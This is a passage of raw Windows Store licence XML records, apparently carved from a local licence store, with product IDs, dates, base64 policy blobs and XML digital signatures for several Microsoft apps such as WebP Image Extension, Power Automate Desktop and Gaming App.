Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="f34db14c-c5fd-4338-bc66-937a8a182e97" LicenseID="28502d06-9d29-8514-1e5d-64447116d798" ContentID="62b49c0a-499e-a02d-ebcb-eb168e148e52" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9NBLGGH4LS1F</ProductID><PFM>microsoft.storepurchaseapp_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T13:00:41.128342Z</IssuedDate><LastUpdateDate>2026-02-20T13:00:41.1198858Z</LastUpdateDate><BeginDate>2026-02-20T13:00:41.1198838Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiI3MjVjY2VhYi1mMzYwLTQ5ZDAtOWVjOS1hMjBmZDc3MjAyZmUifQ==</CustomPolicies><SPLicenseBlock>FAAAALoAAADJAAAACgAAAAUAAQD5WphpAwDLAAAAEAAAAAYtUCgpnRSFHl1kRHEW15jOAAAAUgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AcwB0AG8AcgBlAHAAdQByAGMAaABhAHMAZQBhAHAAcABfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAADNAAAAIgAAAAEAMPDiheq+DxYSDJaaOq7obPBL5IlMNiWK7M2dpI865e8gAAAABAAAAPlamGnMAAAARAAAAAEAAgB3vjBjBXHREeqbX4Am6pzz9Kkx5J6XJXhZ/Tr2IYKR0PjrW3oXmGZIM1k10tQQCr92j8EZMK5DxSJtW/Xox6TV</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>0if1PK/WNPeCZrphV/raNKqa22A5nQ1hJDgnHxYYINY=</DigestValue></Reference></SignedInfo><SignatureValue>FMyowEZJu/R7zsrvC0nThVwaMS9P99PwW2n9Iypof30moNbGR+FsPseTgSEpTXKJ3xosiwlFV05jmwGqsqg5/GYpMHlT3MFrHjVwxIRIZ7jHG14lc1WeZDlqqNexe/yIepPb0lF9AHtxhkqPqPT5LcIhBZyiJ5OZ55CPS4fIUOcz2wrRqbOnFMAQOguWNunu31zUjIlB/vTFGbmgOBZ3TlnFLFnPXmf9ncadVCTfL7jFtsXm5gMbziKElNWE7Pzta544p8JCjMNe/9Z/NfrOkVsqVS7u3jTFmPPvvA8SIClCZd1uoEkQfQYYYDKzABB/ZABPnrn3o+79e1MdYpMeqA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="1f224527-0d10-443a-9307-39964c3d4ef3" LicenseID="7cf085ff-8be5-6f5d-ece7-b0faa99de2a0" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.WebpImageExtension_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T08:12:33.5935333Z</IssuedDate><LastUpdateDate>2026-02-20T08:12:33.5823959Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiYmIzY2M0ZTctNTUyZi0wZWQ5LWQwNTAtYjU0NjIyNThjNGFlIiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2OTY2NTk0MTc2NDgzOTQzJmNvbnRlbnRJZD1hZGEyNjIxMi02ZTY1LTJmNDEtMDhmNi04YThlODg5ODc1NTcmZW50aXRsZW1lbnRJZD1iYjNjYzRlNy01NTJmLTBlZDktZDA1MC1iNTQ2MjI1OGM0YWUmbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbIjJiNWQwZjYwLWQ5M2ItMTYyOS1mM2U1LTQxNjcyMzFjN2VlNiJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6ImFkYTI2MjEyLTZlNjUtMmY0MS0wOGY2LThhOGU4ODk4NzU1NyIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5UEcyREs0MTlEUkciLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDZUMDg6MTI6MzMuNTgyMjgwMiswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAAL4AAADJAAAACgAAAAUAAgByF5hpAADLAAAAEAAAAP+F8Hzli11v7Oew+qmd4qDOAAAAVgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBlAGIAcABpAG0AYQBnAGUAZQB4AHQAZQBuAHMAaQBvAG4AXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAFcYq/xZxcGrqo5OGFnw13v6aboTRrKp9Jq+mm7lqGa60wAAAAQAAAByjKppzAAAAEQAAAABAAIAGbkszv9BJmTIjheU1fML1mNX6GfEOwL5L8UvroywHiGYSdnFPIuEGBHAGDaNwGFBAIremMkXAkokV55rm0AWkA==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>ufiY6erSqiL1R5GAIjU2P9N7Wq8lQZ4B7kGygVFiUu0=</DigestValue></Reference></SignedInfo><SignatureValue>kIBhkJN/ZI331KO9oDpEnbD+HnsZgnnZ4OaeN2dPppqWSXTQLymihOG/20+3Ng1V84KNRYRLVnzlr/ToA3p6I4cU8XrgSkSI/cimOUSlo3NSYH0uJo148xYstQCVysqhhfWG4QNYaw2O9uGsCjCdtY3+/YaH4oFSol646OYPWsM1OqI/a3E8IDpt7YKdrTWHEu+RgmfmOXlOgSgVri+qbD7PEeOgP0qI25IXhdi1BEG4CKDdgs6CXFb98/5xwao/qCJGPKgxbVT0Wm9VgD29rlgtK2Rp4JNgWeg4jdzRnKnHShdti9UD357m1yPWAH/JOSKsFcBOVpLF9XceZnVXgA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
c<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="2d55c4d8-ad82-46dc-bbfd-9df98f8ab33f" LicenseID="2b5d0f60-d93b-1629-f3e5-4167231c7ee6" ContentID="ada26212-6e65-2f41-08f6-8a8e88987557" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9PG2DK419DRG</ProductID><PFM>microsoft.webpimageextension_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T08:12:33.5928793Z</IssuedDate><LastUpdateDate>2026-02-20T08:12:33.582776Z</LastUpdateDate><BeginDate>2026-02-20T08:12:33.5827747Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiJkODc3NjY0Zi02NjgxLTQ1NTktYjU0ZS1iNzBjNmUwMDBlZDgifQ==</CustomPolicies><SPLicenseBlock>FAAAAL4AAADJAAAACgAAAAUAAQByF5hpAwDLAAAAEAAAAGAPXSs72SkW8+VBZyMcfubOAAAAVgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBlAGIAcABpAG0AYQBnAGUAZQB4AHQAZQBuAHMAaQBvAG4AXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAFcYq/xZxcGrqo5OGFnw13v6aboTRrKp9Jq+mm7lqGa6IAAAAAQAAAByF5hpzAAAAEQAAAABAAIAjky6Z1hBNtIQybxak/ucmRBC0FeXXVOw8+bvaGNkNVSZm/bhY+Yss8tRivJqAEoA7ksLz9cieKpuOj4/kXL6dA==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>uaFb9+CTxD9CDAvJMuVoe8F+k3uHkAgp2xtwbCZVnVM=</DigestValue></Reference></SignedInfo><SignatureValue>J3OdvLeWin8lDU1lU1LfmRfCuSDaVsq/cQXC8fpcaZfT7GSN8ixzlv0ivM5PklmYYFfskxmDcXwEhMNsnZ5PaWaXN1axud6TklzLH+4/coqbP9BrSNP+1fTVSMflDOkgsFS5Y1af9ITnaMbx5p4I7vHn5ldLWoqI/bEC5OI3MU0vtTz48m079ah5aYGBIC2/vxlzWLeV1K50KtYF9rGEcFMGFgzSFIc6ljcIIVZ2T/WsxTZD9crPSPO6Xv6TiC0JNWpoTY9eX/5PGVeNUypmodVixFedbJOXZoNdas2A6bfQMghmWnVVMWH9bKKjiUljUvvEnh8LcYoZSggmc7H9QA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
5O<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="4874af5a-ef4d-4570-a89d-0c4260c2651c" LicenseID="90a4cbfb-4688-f111-b8e3-9152b1908e84" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.PowerAutomateDesktop_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T10:08:30.910374Z</IssuedDate><LastUpdateDate>2026-02-20T10:08:30.9026101Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiNWU5ZTk0YTUtNThjOC1hZGVjLWJkZjgtZmVmNmFkNzBiMzgyIiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2ODI1Nzg2NDQ4NDc5MjA4JmNvbnRlbnRJZD00ZWVhOGFkMS00NDgzLWUyZDYtY2FmZi05MWNiMDQ3ZTc0YzImZW50aXRsZW1lbnRJZD01ZTllOTRhNS01OGM4LWFkZWMtYmRmOC1mZWY2YWQ3MGIzODImbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbIjM5ZTk1YzNhLWIwMjgtZmQxYi1jMTkzLTU4MjdjN2VmNjg4ZiJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6IjRlZWE4YWQxLTQ0ODMtZTJkNi1jYWZmLTkxY2IwNDdlNzRjMiIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5TkZUQ0g2SjdGSFYiLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDZUMTA6MDg6MzAuOTAyNDAwOSswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAAMIAAADJAAAACgAAAAUAAgCfMphpAADLAAAAEAAAAPvLpJCIRhHxuOORUrGQjoTOAAAAWgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AcABvAHcAZQByAGEAdQB0AG8AbQBhAHQAZQBkAGUAcwBrAHQAbwBwAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQAMiR9CRVw3fbaDBBP2mGaLZ+rk/zNYR1J1049Jn64A99MAAAAEAAAAn6eqacwAAABEAAAAAQACAOQM+0IGPwri0UU/uBgUeKvtT6TjsFLkPpXJk0T7rb7jXiYOuugy/OGbvYb4sfbyP2cbBDVi465OmEnpIvjUL6U=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>/JWy4UAtKUP3eCDIe/hfAbZC6Si02WoQoBWA8Jm5aCo=</DigestValue></Reference></SignedInfo><SignatureValue>cZo/v1c/KOsDK05PMqIJHVILWlMLBCu4yu8AKztTeqXGiJmjObO01SmIuwyJwd3C3rVDMZILrsHz3VzDmY2w6C7VLvnbxPsUttFGUSK2v++O/iDX5zXauBoLJK7V2ZQpcPVrcfhrYwqPkAwHbqROj21O7B0l7PedM8owgtxm1mX+RvkEt8kvjrwdpqzTSFl+mW56Fj9inLfU44AW6p12sdV1eBAmd6C582+AQvvoStlBNhhMB5aoD2T70hN43JAYG9pBLzK7a9LMd77d92ZzAgvpqBtAszygSITxKu3ub5AKTnxB24j4lZ8++399CRuWgfrxYB2xPeCpyZe4Owm56w==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="ccc8a255-584f-48b0-a1ec-8a263008c38c" LicenseID="39e95c3a-b028-fd1b-c193-5827c7ef688f" ContentID="4eea8ad1-4483-e2d6-caff-91cb047e74c2" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9NFTCH6J7FHV</ProductID><PFM>microsoft.powerautomatedesktop_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T02:04:23.9181884Z</IssuedDate><LastUpdateDate>2026-02-20T02:04:23.9101616Z</LastUpdateDate><BeginDate>2026-02-20T02:04:23.9101611Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiIxYjQ4MWU1ZC1jNTI1LTRlNDYtOTI0MC01ZjE2YjVmYzE1OTMifQ==</CustomPolicies><SPLicenseBlock>FAAAAMIAAADJAAAACgAAAAUAAQAowZdpAwDLAAAAEAAAADpc6TkosBv9wZNYJ8fvaI/OAAAAWgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AcABvAHcAZQByAGEAdQB0AG8AbQBhAHQAZQBkAGUAcwBrAHQAbwBwAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQAMiR9CRVw3fbaDBBP2mGaLZ+rk/zNYR1J1049Jn64A9yAAAAAEAAAAKMGXacwAAABEAAAAAQACAHw8Apa24wdQB+mWt4nq5KD/KpaBJKKgm0irwqkfbz5qsiB8KMl2bBQIhc2kr5bfG71Oufm2/osJ0m/KldAsObk=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>JUAIzPZ/oWmGoim1mArIT/Z60z5QHSXUiNaurX0bChw=</DigestValue></Reference></SignedInfo><SignatureValue>eyINtbWgOm6EwMmdiEarFRSQK3jHaCZEIEyS5QJvS8BTKzCvJKIFE8Vogs/5vokGIq3L+4VMTqtJW3YGPABUWCHhMPO4TxTXSo/bcktDYxSZF0Ue6E6rXsgdBsamcM17CkpGddFZVsuicQJJELKuHJ8v3mr7dDgSHrzrFSDKGomNErVwWIYvIJWOXemuV1HxcZpiporVOtbz16LXUS+MXAkdO6DauC3y2JGAE3OL3lrB67bw5FvGUBaDtkX4mVAOdWOV6ItN3Hndf5iJIC/tyvR42hKVJx2ooz4pi9UB4HfWp8GAnx5LjabggkvpwsaOegrUyDfCPqWJfO1l5Q7GjQ==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
1fo<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="58bd8d73-dd25-41e4-a056-f69ca1b44eb9" LicenseID="b0d13c54-788d-a8a1-6380-3468517deff1" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.GamingApp_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T07:42:12.746666Z</IssuedDate><LastUpdateDate>2026-02-20T07:42:12.7362032Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD1iZGY2MDcxZS02MzhiLTllOGYtMTA4NC0yMmRhYmEwYzMxNDgmbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OU1WMEI1SFpWSzlaJnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiNDk4ZjYyMjktMjUwOC1hN2JmLWQ2ZmQtZDdiNTkwYTU0MmVhIl0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiYmRmNjA3MWUtNjM4Yi05ZThmLTEwODQtMjJkYWJhMGMzMTQ4IiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlNVjBCNUhaVks5WiIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMVQwNzo0MjoxMi43MzYwNDUrMDA6MDAiLCJyZWZyZXNoT25TdGFydHVwIjpmYWxzZSwidmVyc2lvbiI6N30=</CustomPolicies><SPLicenseBlock>FAAAAKwAAADJAAAACgAAAAUAAgBVEJhpAADLAAAAEAAAAFQ80bCNeKGoY4A0aFF97/HOAAAARAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AZwBhAG0AaQBuAGcAYQBwAHAAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAHbItWaxlriAe98DhlItR1j6mFV0a9BNpAmShtSOXgrH0wAAAAQAAABVtw5qzAAAAEQAAAABAAIA6y6UjiQlCE/ys5kbs3Bt0pAPOPEm0FxFSZ+LKdLf3NP/sNFEsawyTGM7M8K2mBtL8WOPCYHP3BMkRprXoDlqPg==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>nTz0g3VIWqFVVfT/SdHVYx8PhLQfH8lq+de5R++PoAc=</DigestValue></Reference></SignedInfo><SignatureValue>Gbs0By1zGBcaIv5C96LU0eWQJDghyTpZS7gC3oBEaVIsSVtCX6wtNPvU6nI1FN5YAFjUyY0rD/hM7ot7q8M/ktOk2YEoprAzZZaVPCdkvlsWxiDLPVRDYzPFFhOvv6HPtYkzXVbgXNvu+2XNivBtpjdf4X5zc4YxBtyt6pyWz5EMzh6xG1EUMeXs8iEGpxlOjTVX2xD/zHsvmRllrlY3i2rU5VMRGidNLSjmbQSiz/snzDnj8ROtesmp2mi0D5HNLK1ikKEOsbMs2wsLMFrhHTElkQZLsdUdlPmnQZzhlrnWY+wZ0yHfe13MIDsgN9xKGuRjEq9rw15cGyS13Zr8vQ==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
dq5[<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="e8d1e895-ae58-4947-81a8-3506fe18777e" LicenseID="498f6229-2508-a7bf-d6fd-d7b590a542ea" ContentID="bdf6071e-638b-9e8f-1084-22daba0c3148" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9MV0B5HZVK9Z</ProductID><PFM>microsoft.gamingapp_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T10:39:36.5006745Z</IssuedDate><LastUpdateDate>2026-02-20T10:39:36.4876946Z</LastUpdateDate><BeginDate>2026-02-20T10:39:36.4876935Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiJiNmY0ODIwNy0wODVhLTRmN2MtYWI1YS05ZmY5MzI0MmY3NGUifQ==</CustomPolicies><SPLicenseBlock>FAAAAKwAAADJAAAACgAAAAUAAQDpOZhpAwDLAAAAEAAAAClij0kIJb+n1v3XtZClQurOAAAARAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AZwBhAG0AaQBuAGcAYQBwAHAAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAHbItWaxlriAe98DhlItR1j6mFV0a9BNpAmShtSOXgrHIAAAAAQAAADoOZhpzAAAAEQAAAABAAIARojithFawkbL3JiauVXUKBj3t8b/sF7g1GKshhHwrNa5D5jAKDtiJpyNjUUGuXZddZvBoncTRXu33PgjoRyH/A==</SPLicenseBl